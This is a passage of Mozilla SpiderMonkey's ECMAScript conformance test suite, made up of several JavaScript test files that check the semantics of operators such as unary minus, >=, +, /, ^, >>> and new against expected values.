-(".01e2") ); new TestCase( SECTION, "-('+.01e2')", -1, -("+.01e2") ); new TestCase( SECTION, "-('-.01e2')", +1, -("-.01e2") ); new TestCase( SECTION, "-('.01e+2')", -1, -(".01e+2") ); new TestCase( SECTION, "-('+.01e+2')", -1, -("+.01e+2") ); new TestCase( SECTION, "-('-.01e+2')", +1, -("-.01e+2") ); new TestCase( SECTION, "-('.01e-2')", -0.0001, -(".01e-2") ); new TestCase( SECTION, "-('+.01e-2')", -0.0001, -("+.01e-2") ); new TestCase( SECTION, "-('-.01e-2')", +0.0001, -("-.01e-2") ); // StrDecimalLiteral::: DecimalDigits ExponentPart opt new TestCase( SECTION, "-('1234e5')", -123400000, -("1234e5") ); new TestCase( SECTION, "-('+1234e5')", -123400000, -("+1234e5") ); new TestCase( SECTION, "-('-1234e5')", +123400000, -("-1234e5") ); new TestCase( SECTION, "-('1234e+5')", -123400000, -("1234e+5") ); new TestCase( SECTION, "-('+1234e+5')", -123400000, -("+1234e+5") ); new TestCase( SECTION, "-('-1234e+5')", +123400000, -("-1234e+5") ); new TestCase( SECTION, "-('1234e-5')", -0.01234, -("1234e-5") ); new TestCase( SECTION, "-('+1234e-5')", -0.01234, -("+1234e-5") ); new TestCase( SECTION, "-('-1234e-5')", +0.01234, -("-1234e-5") ); // StrNumericLiteral::: HexIntegerLiteral new TestCase( SECTION, "-('0x0')", -0, -("0x0")); new TestCase( SECTION, "-('0x1')", -1, -("0x1")); new TestCase( SECTION, "-('0x2')", -2, -("0x2")); new TestCase( SECTION, "-('0x3')", -3, -("0x3")); new TestCase( SECTION, "-('0x4')", -4, -("0x4")); new TestCase( SECTION, "-('0x5')", -5, -("0x5")); new TestCase( SECTION, "-('0x6')", -6, -("0x6")); new TestCase( SECTION, "-('0x7')", -7, -("0x7")); new TestCase( SECTION, "-('0x8')", -8, -("0x8")); new TestCase( SECTION, "-('0x9')", -9, -("0x9")); new TestCase( SECTION, "-('0xa')", -10, -("0xa")); new TestCase( SECTION, "-('0xb')", -11, -("0xb")); new TestCase( SECTION, "-('0xc')", -12, -("0xc")); new TestCase( SECTION, "-('0xd')", -13, -("0xd")); new TestCase( SECTION, "-('0xe')", -14, -("0xe")); new TestCase( SECTION, "-('0xf')", -15, -("0xf")); new TestCase( SECTION, "-('0xA')", -10, -("0xA")); new TestCase( SECTION, "-('0xB')", -11, -("0xB")); new TestCase( SECTION, "-('0xC')", -12, -("0xC")); new TestCase( SECTION, "-('0xD')", -13, -("0xD")); new TestCase( SECTION, "-('0xE')", -14, -("0xE")); new TestCase( SECTION, "-('0xF')", -15, -("0xF")); new TestCase( SECTION, "-('0X0')", -0, -("0X0")); new TestCase( SECTION, "-('0X1')", -1, -("0X1")); new TestCase( SECTION, "-('0X2')", -2, -("0X2")); new TestCase( SECTION, "-('0X3')", -3, -("0X3")); new TestCase( SECTION, "-('0X4')", -4, -("0X4")); new TestCase( SECTION, "-('0X5')", -5, -("0X5")); new TestCase( SECTION, "-('0X6')", -6, -("0X6")); new TestCase( SECTION, "-('0X7')", -7, -("0X7")); new TestCase( SECTION, "-('0X8')", -8, -("0X8")); new TestCase( SECTION, "-('0X9')", -9, -("0X9")); new TestCase( SECTION, "-('0Xa')", -10, -("0Xa")); new TestCase( SECTION, "-('0Xb')", -11, -("0Xb")); new TestCase( SECTION, "-('0Xc')", -12, -("0Xc")); new TestCase( SECTION, "-('0Xd')", -13, -("0Xd")); new TestCase( SECTION, "-('0Xe')", -14, -("0Xe")); new TestCase( SECTION, "-('0Xf')", -15, -("0Xf")); new TestCase( SECTION, "-('0XA')", -10, -("0XA")); new TestCase( SECTION, "-('0XB')", -11, -("0XB")); new TestCase( SECTION, "-('0XC')", -12, -("0XC")); new TestCase( SECTION, "-('0XD')", -13, -("0XD")); new TestCase( SECTION, "-('0XE')", -14, -("0XE")); new TestCase( SECTION, "-('0XF')", -15, -("0XF")); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.8.4.js0000664000175000017500000001250112106270663021463 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.8.4.js ECMA Section: 11.8.4 The greater-than-or-equal operator ( >= ) Description: Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.8.4"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " The greater-than-or-equal operator ( >= )"); new TestCase( SECTION, "true >= false", true, true >= false ); new TestCase( SECTION, "false >= true", false, false >= true ); new TestCase( SECTION, "false >= false", true, false >= false ); new TestCase( SECTION, "true >= true", true, true >= true ); new TestCase( SECTION, "new Boolean(true) >= new Boolean(true)", true, new Boolean(true) >= new Boolean(true) ); new TestCase( SECTION, "new Boolean(true) >= new Boolean(false)", true, new Boolean(true) >= new Boolean(false) ); new TestCase( SECTION, "new Boolean(false) >= new Boolean(true)", false, new Boolean(false) >= new Boolean(true) ); new TestCase( SECTION, "new Boolean(false) >= new Boolean(false)", true, new Boolean(false) >= new Boolean(false) ); new TestCase( SECTION, "new MyObject(Infinity) >= new MyObject(Infinity)", true, new MyObject( Number.POSITIVE_INFINITY ) >= new MyObject( Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "new MyObject(-Infinity) >= new MyObject(Infinity)", false, new MyObject( Number.NEGATIVE_INFINITY ) >= new MyObject( Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "new MyObject(-Infinity) >= new MyObject(-Infinity)", true, new MyObject( Number.NEGATIVE_INFINITY ) >= new MyObject( Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "new MyValueObject(false) >= new MyValueObject(true)", false, new MyValueObject(false) >= new MyValueObject(true) ); new TestCase( SECTION, "new MyValueObject(true) >= new MyValueObject(true)", true, new MyValueObject(true) >= new MyValueObject(true) ); new TestCase( SECTION, "new MyValueObject(false) >= new MyValueObject(false)", true, new MyValueObject(false) >= new MyValueObject(false) ); new TestCase( SECTION, "new MyStringObject(false) >= new MyStringObject(true)", false, new MyStringObject(false) >= new MyStringObject(true) ); new TestCase( SECTION, "new MyStringObject(true) >= new MyStringObject(true)", true, new MyStringObject(true) >= new MyStringObject(true) ); new TestCase( SECTION, "new MyStringObject(false) >= new MyStringObject(false)", true, new MyStringObject(false) >= new MyStringObject(false) ); new TestCase( SECTION, "Number.NaN >= Number.NaN", false, Number.NaN >= Number.NaN ); new TestCase( SECTION, "0 >= Number.NaN", false, 0 >= Number.NaN ); new TestCase( SECTION, "Number.NaN >= 0", false, Number.NaN >= 0 ); new TestCase( SECTION, "0 >= -0", true, 0 >= -0 ); new TestCase( SECTION, "-0 >= 0", true, -0 >= 0 ); new TestCase( SECTION, "Infinity >= 0", true, Number.POSITIVE_INFINITY >= 0 ); new TestCase( SECTION, "Infinity >= Number.MAX_VALUE", true, Number.POSITIVE_INFINITY >= Number.MAX_VALUE ); new TestCase( SECTION, "Infinity >= Infinity", true, Number.POSITIVE_INFINITY >= Number.POSITIVE_INFINITY ); new TestCase( SECTION, "0 >= Infinity", false, 0 >= Number.POSITIVE_INFINITY ); new TestCase( SECTION, "Number.MAX_VALUE >= Infinity", false, Number.MAX_VALUE >= Number.POSITIVE_INFINITY ); new TestCase( SECTION, "0 >= -Infinity", true, 0 >= Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "Number.MAX_VALUE >= -Infinity", true, Number.MAX_VALUE >= Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "-Infinity >= -Infinity", true, Number.NEGATIVE_INFINITY >= Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "-Infinity >= 0", false, Number.NEGATIVE_INFINITY >= 0 ); new TestCase( SECTION, "-Infinity >= -Number.MAX_VALUE", false, Number.NEGATIVE_INFINITY >= -Number.MAX_VALUE ); new TestCase( SECTION, "-Infinity >= Number.MIN_VALUE", false, Number.NEGATIVE_INFINITY >= Number.MIN_VALUE ); new TestCase( SECTION, "'string' > 'string'", false, 'string' > 'string' ); new TestCase( SECTION, "'astring' > 'string'", false, 'astring' > 'string' ); new TestCase( SECTION, "'strings' > 'stringy'", false, 'strings' > 'stringy' ); new TestCase( SECTION, "'strings' > 'stringier'", true, 'strings' > 'stringier' ); new TestCase( SECTION, "'string' > 'astring'", true, 'string' > 'astring' ); new TestCase( SECTION, "'string' > 'strings'", false, 'string' > 'strings' ); test(); function MyObject(value) { this.value = value; this.valueOf = new Function( "return this.value" ); this.toString = new Function( "return this.value +''" ); } function MyValueObject(value) { this.value = value; this.valueOf = new Function( "return this.value" ); } function MyStringObject(value) { this.value = value; this.toString = new Function( "return this.value +''" ); } mozjs17.0.0/js/src/tests/ecma/Expressions/11.6.1-3.js0000664000175000017500000000765712106270663021636 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.6.1-3.js ECMA Section: 11.6.1 The addition operator ( + ) Description: The addition operator either performs string concatenation or numeric addition. The production AdditiveExpression : AdditiveExpression + MultiplicativeExpression is evaluated as follows: 1. Evaluate AdditiveExpression. 2. Call GetValue(Result(1)). 3. Evaluate MultiplicativeExpression. 4. Call GetValue(Result(3)). 5. Call ToPrimitive(Result(2)). 6. Call ToPrimitive(Result(4)). 7. If Type(Result(5)) is String or Type(Result(6)) is String, go to step 12. (Note that this step differs from step 3 in the algorithm for comparison for the relational operators in using or instead of and.) 8. Call ToNumber(Result(5)). 9. Call ToNumber(Result(6)). 10. Apply the addition operation to Result(8) and Result(9). See the discussion below (11.6.3). 11. Return Result(10). 12. Call ToString(Result(5)). 13. Call ToString(Result(6)). 14. Concatenate Result(12) followed by Result(13). 15. Return Result(14). Note that no hint is provided in the calls to ToPrimitive in steps 5 and 6. All native ECMAScript objects except Date objects handle the absence of a hint as if the hint Number were given; Date objects handle the absence of a hint as if the hint String were given. Host objects may handle the absence of a hint in some other manner. This test does only covers cases where the Additive or Mulplicative expression is a Date. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.6.1-3"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " The Addition operator ( + )"); // tests for boolean primitive, boolean object, Object object, a "MyObject" whose value is // a boolean primitive and a boolean object. var DATE1 = new Date(); new TestCase( SECTION, "var DATE1 = new Date(); DATE1 + DATE1", DATE1.toString() + DATE1.toString(), DATE1 + DATE1 ); new TestCase( SECTION, "var DATE1 = new Date(); DATE1 + 0", DATE1.toString() + 0, DATE1 + 0 ); new TestCase( SECTION, "var DATE1 = new Date(); DATE1 + new Number(0)", DATE1.toString() + 0, DATE1 + new Number(0) ); new TestCase( SECTION, "var DATE1 = new Date(); DATE1 + true", DATE1.toString() + "true", DATE1 + true ); new TestCase( SECTION, "var DATE1 = new Date(); DATE1 + new Boolean(true)", DATE1.toString() + "true", DATE1 + new Boolean(true) ); new TestCase( SECTION, "var DATE1 = new Date(); DATE1 + new Boolean(true)", DATE1.toString() + "true", DATE1 + new Boolean(true) ); var MYOB1 = new MyObject( DATE1 ); new TestCase( SECTION, "MYOB1 = new MyObject(DATE1); MYOB1 + new Number(1)", "[object Object]1", MYOB1 + new Number(1) ); new TestCase( SECTION, "MYOB1 = new MyObject(DATE1); MYOB1 + 1", "[object Object]1", MYOB1 + 1 ); new TestCase( SECTION, "MYOB1 = new MyObject(DATE1); MYOB1 + true", "[object Object]true", MYOB1 + true ); test(); function MyPrototypeObject(value) { this.valueOf = new Function( "return this.value;" ); this.toString = new Function( "return (this.value + '');" ); this.value = value; } function MyObject( value ) { this.valueOf = new Function( "return this.value" ); this.value = value; } mozjs17.0.0/js/src/tests/ecma/Expressions/11.2.2-3-n.js0000664000175000017500000000416512106270663022055 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.2.2-3-n.js ECMA Section: 11.2.2. The new operator Description: MemberExpression: PrimaryExpression MemberExpression[Expression] MemberExpression.Identifier new MemberExpression Arguments new NewExpression The production NewExpression : new NewExpression is evaluated as follows: 1. Evaluate NewExpression. 2. Call GetValue(Result(1)). 3. If Type(Result(2)) is not Object, generate a runtime error. 4. If Result(2) does not implement the internal [[Construct]] method, generate a runtime error. 5. Call the [[Construct]] method on Result(2), providing no arguments (that is, an empty list of arguments). 6. If Type(Result(5)) is not Object, generate a runtime error. 7. Return Result(5). The production MemberExpression : new MemberExpression Arguments is evaluated as follows: 1. Evaluate MemberExpression. 2. Call GetValue(Result(1)). 3. Evaluate Arguments, producing an internal list of argument values (section 0). 4. If Type(Result(2)) is not Object, generate a runtime error. 5. If Result(2) does not implement the internal [[Construct]] method, generate a runtime error. 6. Call the [[Construct]] method on Result(2), providing the list Result(3) as the argument values. 7. If Type(Result(6)) is not Object, generate a runtime error. 8 .Return Result(6). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.2.2-3-n.js"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The new operator"; writeHeaderToLog( SECTION + " "+ TITLE); var DESCRIPTION = "NULL = null; var o = new NULL()"; var EXPECTED = "error"; var NULL = null; new TestCase( SECTION, "NULL = null; var o = new NULL()", "error", eval("o = new NULL()") ); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.10-3.js0000664000175000017500000001144612106270663021541 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.10-3.js ECMA Section: 11.10-3 Binary Bitwise Operators: ^ Description: Semantics The production A : A @ B, where @ is one of the bitwise operators in the productions &, ^, | , is evaluated as follows: 1. Evaluate A. 2. Call GetValue(Result(1)). 3. Evaluate B. 4. Call GetValue(Result(3)). 5. Call ToInt32(Result(2)). 6. Call ToInt32(Result(4)). 7. Apply the bitwise operator @ to Result(5) and Result(6). The result is a signed 32 bit integer. 8. Return Result(7). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.10-3"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Binary Bitwise Operators: ^"); var shiftexp = 0; var addexp = 0; for ( shiftpow = 0; shiftpow < 33; shiftpow++ ) { shiftexp += Math.pow( 2, shiftpow ); for ( addpow = 0; addpow < 33; addpow++ ) { addexp += Math.pow(2, addpow); new TestCase( SECTION, shiftexp + " ^ " + addexp, Xor( shiftexp, addexp ), shiftexp ^ addexp ); } } test(); function ToInteger( n ) { n = Number( n ); var sign = ( n < 0 ) ? -1 : 1; if ( n != n ) { return 0; } if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY ) { return n; } return ( sign * Math.floor(Math.abs(n)) ); } function ToInt32( n ) { n = Number( n ); var sign = ( n < 0 ) ? -1 : 1; if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) { return 0; } n = (sign * Math.floor( Math.abs(n) )) % Math.pow(2,32); n = ( n >= Math.pow(2,31) ) ? n - Math.pow(2,32) : n; return ( n ); } function ToUint32( n ) { n = Number( n ); var sign = ( n < 0 ) ? -1 : 1; if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) { return 0; } n = sign * Math.floor( Math.abs(n) ) n = n % Math.pow(2,32); if ( n < 0 ){ n += Math.pow(2,32); } return ( n ); } function ToUint16( n ) { var sign = ( n < 0 ) ? -1 : 1; if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) { return 0; } n = ( sign * Math.floor( Math.abs(n) ) ) % Math.pow(2,16); if (n <0) { n += Math.pow(2,16); } return ( n ); } function Mask( b, n ) { b = ToUint32BitString( b ); b = b.substring( b.length - n ); b = ToUint32Decimal( b ); return ( b ); } function ToUint32BitString( n ) { var b = ""; for ( p = 31; p >=0; p-- ) { if ( n >= Math.pow(2,p) ) { b += "1"; n -= Math.pow(2,p); } else { b += "0"; } } return b; } function ToInt32BitString( n ) { var b = ""; var sign = ( n < 0 ) ? -1 : 1; b += ( sign == 1 ) ? "0" : "1"; for ( p = 30; p >=0; p-- ) { if ( (sign == 1 ) ? sign * n >= Math.pow(2,p) : sign * n > Math.pow(2,p) ) { b += ( sign == 1 ) ? "1" : "0"; n -= sign * Math.pow( 2, p ); } else { b += ( sign == 1 ) ? "0" : "1"; } } return b; } function ToInt32Decimal( bin ) { var r = 0; var sign; if ( Number(bin.charAt(0)) == 0 ) { sign = 1; r = 0; } else { sign = -1; r = -(Math.pow(2,31)); } for ( var j = 0; j < 31; j++ ) { r += Math.pow( 2, j ) * Number(bin.charAt(31-j)); } return r; } function ToUint32Decimal( bin ) { var r = 0; for ( l = bin.length; l < 32; l++ ) { bin = "0" + bin; } for ( j = 0; j < 31; j++ ) { r += Math.pow( 2, j ) * Number(bin.charAt(31-j)); } return r; } function And( s, a ) { s = ToInt32( s ); a = ToInt32( a ); var bs = ToInt32BitString( s ); var ba = ToInt32BitString( a ); var result = ""; for ( var bit = 0; bit < bs.length; bit++ ) { if ( bs.charAt(bit) == "1" && ba.charAt(bit) == "1" ) { result += "1"; } else { result += "0"; } } return ToInt32Decimal(result); } function Xor( s, a ) { s = ToInt32( s ); a = ToInt32( a ); var bs = ToInt32BitString( s ); var ba = ToInt32BitString( a ); var result = ""; for ( var bit = 0; bit < bs.length; bit++ ) { if ( (bs.charAt(bit) == "1" && ba.charAt(bit) == "0") || (bs.charAt(bit) == "0" && ba.charAt(bit) == "1") ) { result += "1"; } else { result += "0"; } } return ToInt32Decimal(result); } function Or( s, a ) { s = ToInt32( s ); a = ToInt32( a ); var bs = ToInt32BitString( s ); var ba = ToInt32BitString( a ); var result = ""; for ( var bit = 0; bit < bs.length; bit++ ) { if ( bs.charAt(bit) == "1" || ba.charAt(bit) == "1" ) { result += "1"; } else { result += "0"; } } return ToInt32Decimal(result); } mozjs17.0.0/js/src/tests/ecma/Expressions/11.2.2-6-n.js0000664000175000017500000000426012106270663022054 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.2.2-6-n.js ECMA Section: 11.2.2. The new operator Description: MemberExpression: PrimaryExpression MemberExpression[Expression] MemberExpression.Identifier new MemberExpression Arguments new NewExpression The production NewExpression : new NewExpression is evaluated as follows: 1. Evaluate NewExpression. 2. Call GetValue(Result(1)). 3. If Type(Result(2)) is not Object, generate a runtime error. 4. If Result(2) does not implement the internal [[Construct]] method, generate a runtime error. 5. Call the [[Construct]] method on Result(2), providing no arguments (that is, an empty list of arguments). 6. If Type(Result(5)) is not Object, generate a runtime error. 7. Return Result(5). The production MemberExpression : new MemberExpression Arguments is evaluated as follows: 1. Evaluate MemberExpression. 2. Call GetValue(Result(1)). 3. Evaluate Arguments, producing an internal list of argument values (section 0). 4. If Type(Result(2)) is not Object, generate a runtime error. 5. If Result(2) does not implement the internal [[Construct]] method, generate a runtime error. 6. Call the [[Construct]] method on Result(2), providing the list Result(3) as the argument values. 7. If Type(Result(6)) is not Object, generate a runtime error. 8 .Return Result(6). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.2.2-6-n.js"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The new operator"; writeHeaderToLog( SECTION + " "+ TITLE); var BOOLEAN = true; DESCRIPTION = "BOOLEAN = true; var b = new BOOLEAN()"; EXPECTED = "error"; new TestCase( SECTION, "BOOLEAN = true; var b = new BOOLEAN()", "error", eval("b = new BOOLEAN()") ); test(); function TestFunction() { return arguments; } mozjs17.0.0/js/src/tests/ecma/Expressions/11.5.2.js0000664000175000017500000002006712106270663021464 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.5.2.js ECMA Section: 11.5.2 Applying the / operator Description: The / operator performs division, producing the quotient of its operands. The left operand is the dividend and the right operand is the divisor. ECMAScript does not perform integer division. The operands and result of all division operations are double-precision floating-point numbers. The result of division is determined by the specification of IEEE 754 arithmetic: If either operand is NaN, the result is NaN. The sign of the result is positive if both operands have the same sign, negative if the operands have different signs. Division of an infinity by an infinity results in NaN. Division of an infinity by a zero results in an infinity. The sign is determined by the rule already stated above. Division of an infinity by a non-zero finite value results in a signed infinity. The sign is determined by the rule already stated above. Division of a finite value by an infinity results in zero. The sign is determined by the rule already stated above. Division of a zero by a zero results in NaN; division of zero by any other finite value results in zero, with the sign determined by the rule already stated above. Division of a non-zero finite value by a zero results in a signed infinity. The sign is determined by the rule already stated above. In the remaining cases, where neither an infinity, nor a zero, nor NaN is involved, the quotient is computed and rounded to the nearest representable value using IEEE 754 round-to-nearest mode. If the magnitude is too large to represent, we say the operation overflows; the result is then an infinity of appropriate sign. If the magnitude is too small to represent, we say the operation underflows and the result is a zero of the appropriate sign. The ECMAScript language requires support of gradual underflow as defined by IEEE 754. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.5.2"; var VERSION = "ECMA_1"; var BUGNUMBER="111202"; startTest(); writeHeaderToLog( SECTION + " Applying the / operator"); // if either operand is NaN, the result is NaN. new TestCase( SECTION, "Number.NaN / Number.NaN", Number.NaN, Number.NaN / Number.NaN ); new TestCase( SECTION, "Number.NaN / 1", Number.NaN, Number.NaN / 1 ); new TestCase( SECTION, "1 / Number.NaN", Number.NaN, 1 / Number.NaN ); new TestCase( SECTION, "Number.POSITIVE_INFINITY / Number.NaN", Number.NaN, Number.POSITIVE_INFINITY / Number.NaN ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY / Number.NaN", Number.NaN, Number.NEGATIVE_INFINITY / Number.NaN ); // Division of an infinity by an infinity results in NaN. new TestCase( SECTION, "Number.NEGATIVE_INFINITY / Number.NEGATIVE_INFINITY", Number.NaN, Number.NEGATIVE_INFINITY / Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "Number.POSITIVE_INFINITY / Number.NEGATIVE_INFINITY", Number.NaN, Number.POSITIVE_INFINITY / Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY / Number.POSITIVE_INFINITY", Number.NaN, Number.NEGATIVE_INFINITY / Number.POSITIVE_INFINITY ); new TestCase( SECTION, "Number.POSITIVE_INFINITY / Number.POSITIVE_INFINITY", Number.NaN, Number.POSITIVE_INFINITY / Number.POSITIVE_INFINITY ); // Division of an infinity by a zero results in an infinity. new TestCase( SECTION, "Number.POSITIVE_INFINITY / 0", Number.POSITIVE_INFINITY, Number.POSITIVE_INFINITY / 0 ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY / 0", Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY / 0 ); new TestCase( SECTION, "Number.POSITIVE_INFINITY / -0", Number.NEGATIVE_INFINITY, Number.POSITIVE_INFINITY / -0 ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY / -0", Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY / -0 ); // Division of an infinity by a non-zero finite value results in a signed infinity. new TestCase( SECTION, "Number.NEGATIVE_INFINITY / 1 ", Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY / 1 ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY / -1 ", Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY / -1 ); new TestCase( SECTION, "Number.POSITIVE_INFINITY / 1 ", Number.POSITIVE_INFINITY, Number.POSITIVE_INFINITY / 1 ); new TestCase( SECTION, "Number.POSITIVE_INFINITY / -1 ", Number.NEGATIVE_INFINITY, Number.POSITIVE_INFINITY / -1 ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY / Number.MAX_VALUE ", Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY / Number.MAX_VALUE ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY / -Number.MAX_VALUE ", Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY / -Number.MAX_VALUE ); new TestCase( SECTION, "Number.POSITIVE_INFINITY / Number.MAX_VALUE ", Number.POSITIVE_INFINITY, Number.POSITIVE_INFINITY / Number.MAX_VALUE ); new TestCase( SECTION, "Number.POSITIVE_INFINITY / -Number.MAX_VALUE ", Number.NEGATIVE_INFINITY, Number.POSITIVE_INFINITY / -Number.MAX_VALUE ); // Division of a finite value by an infinity results in zero. new TestCase( SECTION, "1 / Number.NEGATIVE_INFINITY", -0, 1 / Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "1 / Number.POSITIVE_INFINITY", 0, 1 / Number.POSITIVE_INFINITY ); new TestCase( SECTION, "-1 / Number.POSITIVE_INFINITY", -0, -1 / Number.POSITIVE_INFINITY ); new TestCase( SECTION, "-1 / Number.NEGATIVE_INFINITY", 0, -1 / Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "Number.MAX_VALUE / Number.NEGATIVE_INFINITY", -0, Number.MAX_VALUE / Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "Number.MAX_VALUE / Number.POSITIVE_INFINITY", 0, Number.MAX_VALUE / Number.POSITIVE_INFINITY ); new TestCase( SECTION, "-Number.MAX_VALUE / Number.POSITIVE_INFINITY", -0, -Number.MAX_VALUE / Number.POSITIVE_INFINITY ); new TestCase( SECTION, "-Number.MAX_VALUE / Number.NEGATIVE_INFINITY", 0, -Number.MAX_VALUE / Number.NEGATIVE_INFINITY ); // Division of a zero by a zero results in NaN new TestCase( SECTION, "0 / -0", Number.NaN, 0 / -0 ); new TestCase( SECTION, "-0 / 0", Number.NaN, -0 / 0 ); new TestCase( SECTION, "-0 / -0", Number.NaN, -0 / -0 ); new TestCase( SECTION, "0 / 0", Number.NaN, 0 / 0 ); // division of zero by any other finite value results in zero new TestCase( SECTION, "0 / 1", 0, 0 / 1 ); new TestCase( SECTION, "0 / -1", -0, 0 / -1 ); new TestCase( SECTION, "-0 / 1", -0, -0 / 1 ); new TestCase( SECTION, "-0 / -1", 0, -0 / -1 ); // Division of a non-zero finite value by a zero results in a signed infinity. new TestCase( SECTION, "1 / 0", Number.POSITIVE_INFINITY, 1/0 ); new TestCase( SECTION, "1 / -0", Number.NEGATIVE_INFINITY, 1/-0 ); new TestCase( SECTION, "-1 / 0", Number.NEGATIVE_INFINITY, -1/0 ); new TestCase( SECTION, "-1 / -0", Number.POSITIVE_INFINITY, -1/-0 ); new TestCase( SECTION, "0 / Number.POSITIVE_INFINITY", 0, 0 / Number.POSITIVE_INFINITY ); new TestCase( SECTION, "0 / Number.NEGATIVE_INFINITY", -0, 0 / Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "-0 / Number.POSITIVE_INFINITY", -0, -0 / Number.POSITIVE_INFINITY ); new TestCase( SECTION, "-0 / Number.NEGATIVE_INFINITY", 0, -0 / Number.NEGATIVE_INFINITY ); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.7.3.js0000664000175000017500000001052112106270663021461 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.7.3.js ECMA Section: 11.7.3 The unsigned right shift operator ( >>> ) Description: 11.7.3 The unsigned right shift operator ( >>> ) Performs a zero-filling bitwise right shift operation on the left argument by the amount specified by the right argument. The production ShiftExpression : ShiftExpression >>> AdditiveExpression is evaluated as follows: 1. Evaluate ShiftExpression. 2. Call GetValue(Result(1)). 3. Evaluate AdditiveExpression. 4. Call GetValue(Result(3)). 5. Call ToUint32(Result(2)). 6. Call ToUint32(Result(4)). 7. Mask out all but the least significant 5 bits of Result(6), that is, compute Result(6) & 0x1F. 8. Perform zero-filling right shift of Result(5) by Result(7) bits. Vacated bits are filled with zero. The result is an unsigned 32 bit integer. 9. Return Result(8). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.7.3"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " The unsigned right shift operator ( >>> )"); var addexp = 0; var power = 0; for ( power = 0; power <= 32; power++ ) { shiftexp = Math.pow( 2, power ); for ( addexp = 0; addexp <= 32; addexp++ ) { new TestCase( SECTION, shiftexp + " >>> " + addexp, UnsignedRightShift( shiftexp, addexp ), shiftexp >>> addexp ); } } test(); function ToInteger( n ) { n = Number( n ); var sign = ( n < 0 ) ? -1 : 1; if ( n != n ) { return 0; } if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY ) { return n; } return ( sign * Math.floor(Math.abs(n)) ); } function ToInt32( n ) { n = Number( n ); var sign = ( n < 0 ) ? -1 : 1; if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) { return 0; } n = (sign * Math.floor( Math.abs(n) )) % Math.pow(2,32); n = ( n >= Math.pow(2,31) ) ? n - Math.pow(2,32) : n; return ( n ); } function 